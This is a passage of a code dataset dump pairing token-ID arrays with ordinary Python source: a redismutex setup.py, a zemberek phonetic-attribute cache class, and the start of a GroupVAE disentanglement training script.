13, 1678, 822, 4770, 657, 29918, 12864, 29918, 3207, 29898, 1311, 29892, 1820, 29918, 29874, 29892, 1820, 29918, 29890, 29892, 1828, 29918, 1989, 29897, 1599, 738, 29901, 13, 4706, 995, 353, 1583, 29889, 4262, 29889, 657, 29918, 12864, 29918, 3207, 29898, 1989, 29918, 29874, 29922, 1989, 29918, 29874, 29892, 1820, 29918, 29890, 29922, 1989, 29918, 29890, 29892, 1828, 29918, 1989, 29922, 3207, 29918, 1989, 29897, 13, 4706, 736, 995, 13, 13, 308, 13, 1678, 822, 4770, 842, 29918, 369, 4776, 29918, 3207, 29898, 1311, 29892, 1820, 29892, 3579, 19290, 29897, 1599, 6213, 29901, 13, 4706, 1583, 29889, 4262, 29889, 842, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 1989, 29892, 3579, 19290, 29897, 13, 268, 13, 268, 13, 1678, 822, 4770, 842, 29918, 12864, 29918, 3207, 29898, 1311, 29892, 1820, 29918, 29874, 29892, 1820, 29918, 29890, 29892, 3579, 19290, 29897, 1599, 6213, 29901, 13, 4706, 1583, 29889, 4262, 29889, 842, 29918, 12864, 29918, 3207, 29898, 1989, 29918, 29874, 29922, 1989, 29918, 29874, 29892, 1820, 29918, 29890, 29922, 1989, 29918, 29890, 29892, 3579, 19290, 29897, 13, 308, 13, 268, 13, 1678, 822, 4770, 2886, 29918, 28502, 342, 29918, 1765, 1575, 29898, 1311, 29892, 2143, 29918, 345, 312, 584, 7442, 29889, 299, 2378, 29892, 29871, 13, 462, 18884, 302, 29918, 369, 4776, 584, 938, 353, 29871, 29906, 29897, 1599, 1051, 29901, 29871, 13, 4706, 396, 3617, 599, 12688, 6611, 13, 4706, 13791, 353, 1583, 29889, 4262, 29889, 657, 29918, 1765, 1575, 580, 13, 308, 13, 4706, 396, 20535, 403, 599, 24610, 13, 4706, 24610, 353, 5159, 13, 4706, 363, 12688, 297, 13791, 29901, 29871, 13, 9651, 12688, 29918, 345, 312, 353, 1583, 17255, 657, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 369, 4776, 29892, 1828, 29918, 1989, 2433, 14394, 29918, 8111, 1495, 13, 9651, 1320, 353, 7442, 29889, 29880, 979, 29887, 29889, 12324, 29898, 369, 4776, 29918, 345, 312, 448, 2143, 29918, 345, 312, 29897, 13, 9651, 24610, 29889, 4397, 4197, 369, 4776, 29892, 1320, 2314, 13, 308, 13, 4706, 24610, 353, 12705, 29898, 5721, 2925, 29892, 1820, 29922, 2892, 921, 29901, 921, 29961, 29896, 2314, 13, 4706, 736, 24610, 7503, 29876, 29918, 369, 4776, 29962, 13, 268, 13, 268, 13, 1678, 822, 4770, 657, 29918, 484, 1141, 4089, 29918, 1765, 1575, 29898, 1311, 29892, 1820, 29897, 1599, 1051, 29901, 13, 4706, 22092, 943, 353, 1583, 29889, 4262, 29889, 657, 29918, 287, 2710, 29898, 1989, 29897, 1839, 449, 2033, 13, 4706, 736, 22092, 943, 13, 268, 13, 268, 13, 1678, 822, 4770, 8143, 29918, 4548, 2859, 29918, 287, 2710, 29898, 1311, 29892, 5046, 29918, 13400, 584, 938, 29897, 1599, 6213, 29901, 13, 4706, 13791, 353, 1583, 29889, 4262, 29889, 657, 29918, 1765, 1575, 580, 13, 13, 4706, 363, 1820, 29918, 29874, 297, 13791, 29901, 29871, 13, 9651, 22092, 943, 353, 1583, 29889, 4262, 29889, 657, 29918, 287, 2710, 29898, 1989, 29918, 29874, 29897, 1839, 449, 2033, 13, 9651, 363, 1820, 29918, 29890, 297, 22092, 943, 29901, 13, 18884, 7636, 29918, 482, 353, 1583, 17255, 657, 29918, 12864, 29918, 3207, 29898, 1989, 29918, 29874, 29892, 1820, 29918, 29890, 29892, 525, 482, 1495, 13, 18884, 565, 7636, 29918, 482, 1405, 5046, 29918, 13400, 29901, 13, 462, 1678, 1583, 29889, 4262, 29889, 8143, 29918, 12864, 29898, 1989, 29918, 29874, 29892, 1820, 29918, 29890, 29892, 21000, 8684, 284, 29922, 5574, 29897, 13, 268, 13, 268, 13, 1678, 822, 4770, 8143, 29918, 348, 18045, 29918, 1765, 1575, 29898, 1311, 29897, 1599, 6213, 29901, 13, 4706, 13791, 353, 1583, 29889, 4262, 29889, 657, 29918, 1765, 1575, 580, 13, 4706, 363, 1820, 297, 13791, 29901, 29871, 13, 9651, 22092, 943, 353, 1583, 29889, 4262, 29889, 657, 29918, 287, 2710, 29898, 1989, 29897, 1839, 449, 2033, 13, 9651, 565, 7431, 29898, 484, 1141, 29890, 943, 29897, 1275, 29871, 29900, 29901, 13, 18884, 1583, 29889, 4262, 29889, 8143, 29918, 369, 4776, 29898, 1989, 29897, 29871, 13, 18884, 1583, 29889, 29876, 29918, 369, 4776, 22361, 29871, 29896, 13, 13, 462, 13, 1678, 822, 4770, 2886, 29918, 27489, 342, 29918, 2704, 29918, 369, 4776, 29898, 1311, 29897, 1599, 851, 29901, 29871, 13, 4706, 13791, 353, 1583, 29889, 4262, 29889, 657, 29918, 1765, 1575, 580, 308, 13, 4706, 4236, 29918, 3127, 29918, 791, 353, 29871, 29900, 13, 4706, 4236, 29918, 3127, 29918, 1989, 353, 6629, 13, 4706, 363, 1820, 297, 13791, 29901, 29871, 13, 9651, 1059, 353, 1583, 17255, 657, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 1989, 29892, 1828, 29918, 1989, 2433, 2704, 1495, 13, 9651, 565, 1059, 1405, 4236, 29918, 3127, 29918, 791, 29901, 13, 18884, 4236, 29918, 3127, 29918, 791, 353, 1059, 13, 18884, 4236, 29918, 3127, 29918, 1989, 353, 1820, 13, 4706, 736, 518, 3317, 29918, 3127, 29918, 1989, 29892, 4236, 29918, 3127, 29918, 791, 29962, 13, 13, 268, 13, 1678, 822, 4770, 2886, 29918, 27489, 342, 29918, 2704, 29918, 484, 1141, 4089, 29898, 1311, 29892, 1820, 29897, 1599, 851, 29901, 29871, 13, 4706, 22092, 943, 353, 1583, 29889, 4262, 29889, 657, 29918, 287, 2710, 29898, 1989, 29897, 1839, 449, 2033, 13, 4706, 4236, 29918, 3127, 29918, 791, 353, 29871, 29900, 13, 4706, 4236, 29918, 3127, 29918, 1989, 353, 6629, 13, 4706, 363, 1820, 297, 22092, 943, 29901, 29871, 13, 9651, 1059, 353, 1583, 17255, 657, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 1989, 29892, 1828, 29918, 1989, 2433, 2704, 1495, 13, 9651, 565, 1059, 1405, 4236, 29918, 3127, 29918, 791, 29901, 13, 18884, 4236, 29918, 3127, 29918, 791, 353, 1059, 13, 18884, 4236, 29918, 3127, 29918, 1989, 353, 1820, 13, 4706, 736, 518, 3317, 29918, 3127, 29918, 1989, 29892, 4236, 29918, 3127, 29918, 791, 29962, 13, 13, 13, 1678, 822, 4770, 7052, 29918, 369, 4776, 29918, 2704, 29918, 5975, 29898, 1311, 29892, 472, 841, 29884, 362, 584, 5785, 29897, 1599, 6213, 29901, 13, 4706, 13791, 353, 1583, 29889, 4262, 29889, 657, 29918, 1765, 1575, 580, 4706, 13, 4706, 363, 1820, 297, 13791, 29901, 29871, 13, 9651, 1059, 353, 1583, 17255, 657, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29892, 525, 2704, 1495, 13, 9651, 1059, 22361, 472, 841, 29884, 362, 334, 1059, 13, 9651, 1583, 17255, 842, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29892, 1059, 29922, 2704, 29897, 13, 308, 13, 308, 13, 1678, 822, 679, 29918, 4262, 29898, 1311, 1125, 29871, 13, 4706, 736, 1583, 29889, 4262, 13, 268, 13, 268, 13, 1678, 822, 6216, 29898, 1311, 29892, 8783, 584, 7442, 29889, 299, 2378, 29892, 13, 9651, 24372, 584, 938, 29892, 13, 9651, 4236, 29918, 369, 4776, 584, 938, 29892, 13, 9651, 19576, 29918, 786, 29881, 29918, 1111, 12352, 584, 5785, 353, 29871, 29900, 29889, 29900, 29945, 29892, 13, 9651, 12307, 29918, 786, 29881, 29918, 1111, 12352, 584, 5785, 353, 29871, 29900, 29889, 29900, 29900, 29900, 29945, 29892, 13, 9651, 7636, 29918, 482, 29918, 13400, 584, 938, 353, 29871, 29896, 29900, 29900, 29892, 13, 9651, 12688, 29918, 7851, 29918, 19207, 584, 938, 353, 29871, 29896, 29900, 29900, 29892, 13, 9651, 12688, 29918, 7851, 29918, 2704, 29918, 19529, 292, 584, 5785, 353, 29871, 29900, 29889, 29945, 29892, 13, 9651, 1059, 29918, 8606, 29884, 362, 584, 5785, 353, 29871, 29900, 29889, 29900, 29900, 29900, 29945, 29892, 29871, 13, 9651, 6492, 29918, 19207, 584, 938, 353, 29871, 29896, 29900, 29900, 29892, 13, 9651, 6492, 29918, 2220, 584, 738, 353, 6213, 29897, 1599, 6213, 584, 29871, 13, 308, 13, 4706, 302, 29918, 16485, 353, 8783, 29889, 12181, 29961, 29900, 29962, 13, 308, 13, 4706, 363, 12541, 297, 3464, 29898, 29896, 29892, 24372, 718, 29871, 29896, 1125, 29871, 13, 9651, 565, 1583, 29889, 29876, 29918, 369, 4776, 529, 29871, 29906, 29901, 396, 25455, 3983, 13, 18884, 396, 3462, 278, 1023, 6257, 13791, 322, 7636, 1546, 963, 13, 18884, 1820, 29918, 29874, 353, 1583, 17255, 1202, 29918, 369, 4776, 29898, 14394, 29918, 8111, 29922, 9302, 29889, 8172, 29889, 9502, 29898, 1311, 29889, 14394, 29918, 6229, 876, 13, 18884, 1820, 29918, 29890, 353, 1583, 17255, 1202, 29918, 369, 4776, 29898, 14394, 29918, 8111, 29922, 9302, 29889, 8172, 29889, 9502, 29898, 1311, 29889, 14394, 29918, 6229, 876, 13, 18884, 1583, 17255, 1202, 29918, 12864, 29898, 1989, 29918, 29874, 29892, 1820, 29918, 29890, 29897, 13, 13, 9651, 396, 18399, 6433, 13, 9651, 565, 313, 5317, 29918, 19207, 338, 451, 6213, 29897, 322, 320, 13, 1669, 313, 1524, 362, 1273, 6492, 29918, 19207, 1275, 29871, 29900, 29897, 322, 320, 13, 1669, 313, 5317, 29918, 2220, 338, 451, 6213, 1125, 13, 18884, 6492, 29918, 2220, 29898, 24713, 29892, 1583, 29889, 4262, 29892, 12541, 29897, 13, 9651, 13, 9651, 396, 3617, 4036, 848, 1298, 304, 367, 1304, 297, 402, 9312, 3983, 28221, 29889, 29871, 13, 9651, 22645, 353, 7442, 29889, 8172, 29889, 9502, 524, 29898, 29876, 29918, 16485, 29897, 13, 9651, 848, 29918, 345, 312, 353, 8783, 29961, 13140, 29962, 13, 13, 9651, 396, 10987, 1023, 20471, 13791, 515, 278, 402, 9312, 3983, 13, 9651, 20471, 353, 1583, 17255, 2886, 29918, 28502, 342, 29918, 1765, 1575, 29898, 1272, 29918, 345, 312, 29892, 302, 29918, 369, 4776, 29922, 29906, 29897, 13, 632, 13, 9651, 396, 10318, 278, 19576, 12688, 1059, 995, 13, 9651, 12688, 29918, 29874, 29918, 1989, 353, 20471, 29961, 29900, 3816, 29900, 29962, 13, 9651, 12688, 29918, 29874, 29918, 5721, 353, 20471, 29961, 29900, 3816, 29896, 29962, 13, 9651, 1059, 353, 1583, 17255, 657, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 369, 4776, 29918, 29874, 29918, 1989, 29892, 1828, 29918, 1989, 2433, 2704, 1495, 13, 9651, 1059, 4619, 12688, 29918, 29874, 29918, 5721, 3579, 29871, 29906, 13, 9651, 1583, 17255, 842, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 369, 4776, 29918, 29874, 29918, 1989, 29892, 1059, 29922, 2704, 29897, 13, 632, 13, 9651, 396, 10318, 19576, 12688, 4682, 4608, 13, 9651, 12688, 29918, 345, 312, 353, 1583, 17255, 657, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 369, 4776, 29918, 29874, 29918, 1989, 29892, 1828, 29918, 1989, 2433, 14394, 29918, 8111, 1495, 13, 9651, 12688, 29918, 345, 312, 353, 12688, 29918, 345, 312, 718, 19576, 29918, 786, 29881, 29918, 1111, 12352, 334, 313, 1272, 29918, 345, 312, 448, 12688, 29918, 345, 312, 29897, 13, 9651, 1583, 17255, 842, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 369, 4776, 29918, 29874, 29918, 1989, 29892, 4682, 29918, 8111, 29922, 369, 4776, 29918, 345, 312, 29897, 13, 632, 13, 9651, 396, 10318, 19576, 29915, 29879, 12307, 13791, 13, 9651, 12307, 29918, 1765, 1575, 353, 1583, 17255, 657, 29918, 484, 1141, 4089, 29918, 1765, 1575, 29898, 369, 4776, 29918, 29874, 29918, 1989, 29897, 13, 9651, 363, 12688, 29918, 29890, 29918, 1989, 297, 12307, 29918, 1765, 1575, 29901, 29871, 13, 18884, 396, 10318, 12047, 13, 18884, 12688, 29918, 345, 312, 353, 1583, 17255, 657, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 369, 4776, 29918, 29890, 29918, 1989, 29892, 1828, 29918, 1989, 2433, 14394, 29918, 8111, 1495, 13, 18884, 12688, 29918, 345, 312, 353, 12688, 29918, 345, 312, 718, 12307, 29918, 786, 29881, 29918, 1111, 12352, 334, 313, 1272, 29918, 345, 312, 448, 12688, 29918, 345, 312, 29897, 13, 18884, 1583, 17255, 842, 29918, 369, 4776, 29918, 3207, 29898, 1989, 29922, 369, 4776, 29918, 29890, 29918, 1989, 29892, 4682, 29918, 8111, 29922, 369, 4776, 29918, 345, 312, 29897, 13, 462, 13, 18884, 396, 10318, 7636, 24646, 13, 18884, 7636, 29918, 482, 353, 1583, 17255, 657, 29918, 12864, 29918, 3207, 29898, 369, 4776, 29918, 29874, 29918, 1989, 29892, 12688, 29918, 29890, 29918, 1989, 29892, 525, 482, 1495, 13, 18884, 7636, 29918, 482, 4619, 29871, 29896, 13, 18884, 1583, 17255, 842, 29918, 12864, 29918, 3207, 29898, 369, 4776, 29918, 29874, 29918, 1989, 29892, 12688, 29918, 29890, 29918, 1989, 29892, 5046, 29922, 12864, 29918, 482, 29897, 13, 462, 13, 9651, 396, 10318, 278, 1473, 20471, 12688, 29871, 13, 9651, 12688, 29918, 29890, 29918, 1989, 353, 20471, 29961, 29896, 3816, 29900, 29962, 13, 9651, 12688, 29918, 29890, 29918, 5721, 353, 20471, 29961, 29896, 3816, 29896, 29962, 13, 9651, 565, 12688, 29918, 29890, 29918, 1989, 451, 297, 12307, 29918, 1765, 1575, 29901, 29871, 13, 18884, 396, 3462, 7636, 565, 372, 1838, 29915, 29873, 1863, 3447, 13, 18884, 1583, 17255, 1202, 29918, 12864, 29898, 369, 4776, 29918, 29874, 29918, 1989, 29892, 12688, 29918, 29890, 29918, 1989, 29897, 13, 9651, 1683, 29901, 29871, 13, 18884, 396, 3789, 7636, 5046, 304, 5225, 13, 18884, 1583, 17255, 842, 29918, 12864, 29918, 3207, 29898, 369, 4776, 29918, 29874, 29918, 1989, 29892, 12688, 29918, 29890, 29918, 1989, 29892, 5046, 29922, 29900, 29897, 13, 18884, 396, 3364, 13, 13, 9651, 396, 21267, 2086, 2030, 12770, 13, 9651, 1583, 17255, 8143, 29918, 4548, 2859, 29918, 287, 2710, 29898, 12864, 29918, 482, 29918, 13400, 29897, 13, 9651, 396, 21267, 13791, 411, 694, 12770, 13, 9651, 1583, 17255, 8143, 29918, 348, 18045, 29918, 1765, 1575, 580, 13, 632, 13, 9651, 396, 3462, 716, 12688, 29871, 13, 9651, 565, 313, 1524, 362, 1273, 12688, 29918, 7851, 29918, 19207, 1275, 29871, 29900, 29897, 322, 313, 1311, 29889, 29876, 29918, 369, 4776, 529, 4236, 29918, 369, 4776, 1125, 13, 18884, 396, 3617, 12688, 411, 10150, 1059, 995, 13, 18884, 2740, 29918, 2914, 353, 1583, 17255, 2886, 29918, 27489, 342, 29918, 2704, 29918, 369, 4776, 580, 29871, 13, 18884, 12688, 29918, 29874, 29918, 1989, 353, 2740, 29918, 2914, 29961, 29900, 29962, 13, 18884, 12688, 29918, 29874, 29918, 2704, 353, 2740, 29918, 2914, 29961, 29896, 29962, 13, 18884, 12688, 29918, 29874, 29918, 345, 312, 353, 1583, 17255, 657, 29918, 369, 4776, 29918, 3207, 29898, 369, 4776, 29918, 29874, 29918, 1989, 29892, 525, 14394, 29918, 8111, 1495, 13, 13, 18884, 396, 3617, 278, 12307, 411, 10150, 1059, 13, 18884, 12307, 29918, 2914, 353, 1583, 17255, 2886, 29918, 27489, 342, 29918, 2704, 29918, 484, 1141, 4089, 29898, 369, 4776, 29918, 29874, 29918, 1989, 29897, 13, 18884, 12688, 29918, 29890, 29918, 1989, 353, 12307, 29918, 2914, 29961, 29900, 29962, 13, 18884, 12688, 29918, 29890, 29918, 2704, 353, 12307, 29918, 2914, 29961, 29896, 29962, 13, 18884, 12688, 29918, 29890, 29918, 345, 312, 353, 1583, 17255, 657, 29918, 369, 4776, 29918, 3207, 29898, 369, 4776, 29918, 29890, 29918, 1989, 29892, 525, 14394, 29918, 8111, 1495, 13, 13, 18884, 396, 20535, 403, 716, 1059, 1819, 13, 18884, 716, 29918, 29874, 29918, 2704, 353, 12688, 29918, 29874, 29918, 2704, 334, 12688, 29918, 7851, 29918, 2704, 29918, 19529, 292, 13, 18884, 1583, 17255, 842, 29918, 369, 4776, 29918, 3207, 29898, 369, 4776, 29918, 29874, 29918, 1989, 29892, 1059, 29922, 1482, 29918, 29874, 29918, 2704, 29897, 13, 18884, 716, 29918, 29890, 29918, 2704, 353, 12688, 29918, 29890, 29918, 2704, 334, 12688, 29918, 7851, 29918, 2704, 29918, 19529, 292, 13, 18884, 1583, 17255, 842, 29918, 369, 4776, 29918, 3207, 29898, 369, 4776, 29918, 29890, 29918, 1989, 29892, 1059, 29922, 1482, 29918, 29890, 29918, 2704, 29897, 13, 13, 18884, 396, 3789, 786, 716, 12688, 13, 18884, 716, 29918, 369, 4776, 29918, 8111, 353, 313, 369, 4776, 29918, 29874, 29918, 345, 312, 718, 12688, 29918, 29890, 29918, 345, 312, 29897, 847, 29871, 29906, 13, 18884, 716, 29918, 369, 4776, 29918, 2704, 353, 716, 29918, 29874, 29918, 2704, 13, 18884, 716, 29918, 369, 4776, 29918, 1989, 353, 1583, 17255, 1202, 29918, 369, 4776, 29898, 1482, 29918, 369, 4776, 29918, 8111, 29897, 13, 18884, 1583, 17255, 842, 29918, 369, 4776, 29918, 3207, 29898, 1482, 29918, 369, 4776, 29918, 1989, 29892, 1059, 29922, 1482, 29918, 369, 4776, 29918, 2704, 29897, 13, 462, 13, 18884, 396, 390, 799, 3881, 278, 12770, 29871, 13, 18884, 1583, 17255, 8143, 29918, 12864, 29898, 369, 4776, 29918, 29874, 29918, 1989, 29892, 12688, 29918, 29890, 29918, 1989, 29897, 13, 18884, 1583, 17255, 1202, 29918, 12864, 29898, 1482, 29918, 369, 4776, 29918, 1989, 29892, 12688, 29918, 29874, 29918, 1989, 29897, 13, 18884, 1583, 17255, 1202, 29918, 12864, 29898, 1482, 29918, 369, 4776, 29918, 1989, 29892, 12688, 29918, 29890, 29918, 1989, 29897, 13, 13, 9651, 396, 4367, 24551, 599, 1059, 1819, 13, 9651, 1583, 17255, 7052, 29918, 369, 4776, 29918, 2704, 29918, 5975, 29898, 2704, 29918, 8606, 29884, 362, 29897, 13, 462, 2 ]
setup.py
abeerupadhyay/py-redismutex
3
1610123
<reponame>abeerupadhyay/py-redismutex<filename>setup.py<gh_stars>1-10 import os from setuptools import find_packages, setup with open(os.path.join(os.path.dirname(__file__), 'VERSION')) as version: VERSION = version.read().strip() setup( name="redismutex", version=VERSION, description="Python implementation of mutex using redis", url="https://github.com/esquarer/py-redismutex", author="<NAME>", author_email="<EMAIL>", license='MIT', keywords="python redis mutex", packages=find_packages(exclude=['docs', 'tests*']), install_requires=[ 'future==0.16.0', 'redis==2.10.6' ], project_urls={ 'Source': 'https://github.com/esquarer/py-redismutex/', 'Documentation': 'http://py-redismutex.readthedocs.io/en/latest/', 'Tracker': 'https://github.com/esquarer/py-redismutex/issues/', }, classifiers=[ 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 2', 'Programming Language :: Python :: 2.7', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', ] )
[ 1, 529, 276, 1112, 420, 29958, 4302, 261, 786, 328, 5819, 388, 29914, 2272, 29899, 1127, 1608, 329, 735, 29966, 9507, 29958, 14669, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 2897, 13, 3166, 731, 21245, 8789, 1053, 1284, 29918, 8318, 29892, 6230, 13, 13, 2541, 1722, 29898, 359, 29889, 2084, 29889, 7122, 29898, 359, 29889, 2084, 29889, 25721, 22168, 1445, 1649, 511, 525, 16358, 8785, 408, 1873, 29901, 13, 1678, 478, 1001, 13381, 353, 1873, 29889, 949, 2141, 17010, 580, 13, 13, 14669, 29898, 13, 1678, 1024, 543, 1127, 1608, 329, 735, 613, 13, 1678, 1873, 29922, 16358, 29892, 13, 1678, 6139, 543, 11980, 5314, 310, 5478, 735, 773, 29825, 613, 13, 1678, 3142, 543, 991, 597, 3292, 29889, 510, 29914, 267, 339, 279, 261, 29914, 2272, 29899, 1127, 1608, 329, 735, 613, 13, 1678, 4148, 543, 29966, 5813, 28341, 13, 1678, 4148, 29918, 5269, 543, 29966, 26862, 6227, 28341, 13, 1678, 19405, 2433, 26349, 742, 13, 1678, 29361, 543, 4691, 29825, 5478, 735, 613, 13, 1678, 9741, 29922, 2886, 29918, 8318, 29898, 735, 2325, 29922, 1839, 2640, 742, 525, 21150, 29930, 2033, 511, 13, 1678, 2601, 29918, 276, 339, 2658, 11759, 13, 4706, 525, 29888, 9130, 1360, 29900, 29889, 29896, 29953, 29889, 29900, 742, 13, 4706, 525, 1127, 275, 1360, 29906, 29889, 29896, 29900, 29889, 29953, 29915, 13, 1678, 21251, 13, 1678, 2060, 29918, 26045, 3790, 13, 4706, 525, 4435, 2396, 525, 991, 597, 3292, 29889, 510, 29914, 267, 339, 279, 261, 29914, 2272, 29899, 1127, 1608, 329, 735, 29914, 742, 13, 4706, 525, 6268, 362, 2396, 525, 1124, 597, 2272, 29899, 1127, 1608, 329, 735, 29889, 949, 386, 287, 12332, 29889, 601, 29914, 264, 29914, 12333, 29914, 742, 13, 4706, 525, 5323, 4937, 2396, 525, 991, 597, 3292, 29889, 510, 29914, 267, 339, 279, 261, 29914, 2272, 29899, 1127, 1608, 329, 735, 29914, 12175, 29914, 742, 13, 1678, 2981, 13, 1678, 770, 14903, 11759, 13, 4706, 525, 2928, 2760, 319, 4749, 663, 4761, 10682, 414, 742, 13, 4706, 525, 29931, 293, 1947, 4761, 438, 5425, 28268, 1490, 4761, 341, 1806, 19245, 742, 13, 4706, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29906, 742, 13, 4706, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29906, 29889, 29955, 742, 13, 4706, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 742, 13, 4706, 525, 9283, 4056, 17088, 4761, 5132, 4761, 29871, 29941, 29889, 29953, 742, 13, 1678, 4514, 13, 29897, 13, 2 ]
zemberek/morphology/morphotactics/attribute_to_surface_cache.py
Loodos/zemberek-python
52
59686
from threading import Lock from typing import Dict, Set, Union from zemberek.core.turkish.phonetic_attribute import PhoneticAttribute class AttributeToSurfaceCache: def __init__(self): self.attribute_map: Dict[int, str] = {} self.lock = Lock() def add_surface(self, attributes: Set[PhoneticAttribute], surface: str): """ Method changed. Instead of original, this method uses hash value of concatenated short form of phonetic attributes as key :param attributes: :param surface: :return: """ key_string = "" for attribute in attributes: key_string += attribute.get_string_form() with self.lock: self.attribute_map[hash(key_string)] = surface def get_surface(self, attributes: Set[PhoneticAttribute]) -> Union[str, None]: """ Method changed. Instead of original, this method uses hash value of concatenated short form of phonetic attributes as key :param attributes: :return: """ key_string = "" for attribute in attributes: key_string += attribute.get_string_form() return self.attribute_map.get(hash(key_string))
[ 1, 515, 3244, 292, 1053, 18199, 13, 3166, 19229, 1053, 360, 919, 29892, 3789, 29892, 7761, 13, 13, 3166, 503, 1590, 20400, 29889, 3221, 29889, 29873, 29641, 728, 29889, 17607, 7492, 29918, 12715, 1053, 1963, 265, 7492, 6708, 13, 13, 13, 1990, 23833, 1762, 18498, 2161, 10408, 29901, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 1125, 13, 4706, 1583, 29889, 12715, 29918, 1958, 29901, 360, 919, 29961, 524, 29892, 851, 29962, 353, 6571, 13, 4706, 1583, 29889, 908, 353, 18199, 580, 13, 13, 1678, 822, 788, 29918, 7610, 2161, 29898, 1311, 29892, 8393, 29901, 3789, 29961, 4819, 265, 7492, 6708, 1402, 7101, 29901, 851, 1125, 13, 4706, 9995, 13, 4706, 8108, 3939, 29889, 8669, 310, 2441, 29892, 445, 1158, 3913, 6608, 995, 310, 16125, 630, 3273, 883, 310, 1374, 265, 7492, 13, 4706, 8393, 408, 1820, 13, 4706, 584, 3207, 8393, 29901, 13, 4706, 584, 3207, 7101, 29901, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 1820, 29918, 1807, 353, 5124, 13, 4706, 363, 5352, 297, 8393, 29901, 13, 9651, 1820, 29918, 1807, 4619, 5352, 29889, 657, 29918, 1807, 29918, 689, 580, 13, 4706, 411, 1583, 29889, 908, 29901, 13, 9651, 1583, 29889, 12715, 29918, 1958, 29961, 8568, 29898, 1989, 29918, 1807, 4638, 353, 7101, 13, 13, 1678, 822, 679, 29918, 7610, 2161, 29898, 1311, 29892, 8393, 29901, 3789, 29961, 4819, 265, 7492, 6708, 2314, 1599, 7761, 29961, 710, 29892, 6213, 5387, 13, 4706, 9995, 13, 4706, 8108, 3939, 29889, 8669, 310, 2441, 29892, 445, 1158, 3913, 6608, 995, 310, 16125, 630, 3273, 883, 310, 1374, 265, 7492, 13, 4706, 8393, 408, 1820, 13, 4706, 584, 3207, 8393, 29901, 13, 4706, 584, 2457, 29901, 13, 4706, 9995, 13, 4706, 1820, 29918, 1807, 353, 5124, 13, 4706, 363, 5352, 297, 8393, 29901, 13, 9651, 1820, 29918, 1807, 4619, 5352, 29889, 657, 29918, 1807, 29918, 689, 580, 13, 4706, 736, 1583, 29889, 12715, 29918, 1958, 29889, 657, 29898, 8568, 29898, 1989, 29918, 1807, 876, 13, 2 ]
main.py
zhuxinqimac/Ramiel
0
145447
<reponame>zhuxinqimac/Ramiel #!/usr/bin/python #-*- coding: utf-8 -*- # >.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>. # Licensed under the Apache License, Version 2.0 (the "License") # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # --- File Name: main.py # --- Creation Date: 07-09-2020 # --- Last Modified: Sat 19 Sep 2020 00:23:02 AEST # --- Author: <NAME> # .<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.< """ Main training for GroupVAE. Code borrowed from disentanglement_lib. """ # We group all the imports at the top. from __future__ import absolute_import from __future__ import division from __future__ import print_function import os import sys # Insert disentanglement_lib to path. sys.path.insert( 0, os.path.join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'disentanglement_lib')) from disentanglement_lib.config import reproduce from disentanglement_lib.evaluation import evaluate from disentanglement_lib.evaluation.metrics import utils from disentanglement_lib.methods.unsupervised import train from disentanglement_lib.methods.unsupervised import vae from disentanglement_lib.postprocessing import postprocess from disentanglement_lib.utils import aggregate_results from disentanglement_lib.visualize import visualize_model from disentanglement_lib.utils import resources import argparse import glob import numpy as np import tensorflow.compat.v1 as tf import gin.tf from models import GroupVAE from architectures import group_conv_encoder, group_deconv_decoder from utils import _str_to_bool def main(): parser = argparse.ArgumentParser(description='Project description.') parser.add_argument('--result_dir', help='Results directory.', type=str, default='/mnt/hdd/repo_results/Ramiel/sweep') parser.add_argument('--study', help='Name of the study.', type=str, default='unsupervised_study_v1') parser.add_argument('--model_gin', help='Name of the gin config.', type=str, default='test_model.gin') parser.add_argument('--model_name', help='Name of the model.', type=str, default='GroupVAE') parser.add_argument('--vae_beta', help='Beta-VAE beta.', type=str, default='1') parser.add_argument('--hyps', help='Hyperparameters of rec_mat_oth_spl_seed.', type=str, default='1_1_1_1_1_0') parser.add_argument('--overwrite', help='Whether to overwrite output directory.', type=_str_to_bool, default=False) parser.add_argument('--dataset', help='Dataset.', type=str, default='dsprites_full') parser.add_argument('--recons_type', help='Reconstruction loss type.', type=str, default='bernoulli_loss') args = parser.parse_args() # 1. Settings study = reproduce.STUDIES[args.study] args.hyps = args.hyps.split('_') print() study.print_postprocess_config() print() study.print_eval_config() gpus = tf.config.experimental.list_physical_devices('GPU') if gpus: try: # Currently, memory growth needs to be the same across GPUs for gpu in gpus: tf.config.experimental.set_memory_growth(gpu, True) logical_gpus = tf.config.experimental.list_logical_devices('GPU') print(len(gpus), "Physical GPUs,", len(logical_gpus), "Logical GPUs") except RuntimeError as e: # Memory growth must be set before GPUs have been initialized print(e) # Call training module to train the custom model. if args.model_name == "GroupVAE": dir_name = "GroupVAE-" + "-".join(args.hyps) elif args.model_name == "vae": dir_name = "LieVAE-" + args.vae_beta + "-" + args.hyps[5] output_directory = os.path.join(args.result_dir, dir_name) model_dir = os.path.join(output_directory, "model") gin_bindings = [ "model.model = @" + args.model_name + "()", "vae.beta = " + args.vae_beta, "GroupVAE.hy_rec = " + args.hyps[0], "GroupVAE.hy_mat = " + args.hyps[1], "GroupVAE.hy_oth = " + args.hyps[2], "GroupVAE.hy_spl = " + args.hyps[3], "GroupVAE.hy_ncut = " + args.hyps[4], "model.random_seed = " + args.hyps[5], "dataset.name = '" + args.dataset + "'", 